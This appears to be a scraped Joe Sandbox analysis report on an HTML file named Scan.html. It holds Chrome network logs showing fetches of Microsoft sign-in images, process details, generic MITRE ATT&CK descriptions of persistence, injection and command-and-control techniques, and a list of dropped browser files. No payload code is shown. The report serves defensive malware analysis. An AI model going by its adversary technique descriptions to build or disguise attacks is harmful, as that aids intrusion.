2025-01-13 15:44:57 UTC	484	OUT	POST /report/v4?s=MTs7UvEj70VEIGVYoNP8hOuch%2FkN3J76OYyiTTtSGvPjUB0zpXmrSHefhakZwO6MMNrwxJ5KD0g%2FDxvfL2zechL2ysNY%2BcisckNaigFJ3vum4J%2FEyM35ErwB7uHtJTXljZZ%2B1uxo HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:57 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 32 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 31 37 2e 32 34 2e 31 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 6f 6b 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 Data Ascii: [{"age":0,"body":{"elapsed_time":726,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":0.01,"server_ip":"104.17.24.14","status_code":200,"type":"ok"},"type":"network-error","url":"https://cdnjs.cloudflare.com/aja
2025-01-13 15:44:57 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 13 Jan 2025 15:44:56 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	152.199.21.175	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:58 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:58 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7735199 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 13 Jan 2025 15:44:58 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-13 15:44:58 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	152.199.21.175	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:59 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:59 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7735200 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 13 Jan 2025 15:44:59 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-13 15:44:59 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Target ID:	0
Start time:	10:44:49
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Scan.html"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:44:51
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2516,i,15720364378467232553,7406729316586067300,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scan.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\keys.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\optimization-hints.pb

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\sets.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\ssl_error_assistant.pb

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\cr_en-us_500000_index.bin

Windows Analysis Report
Scan.html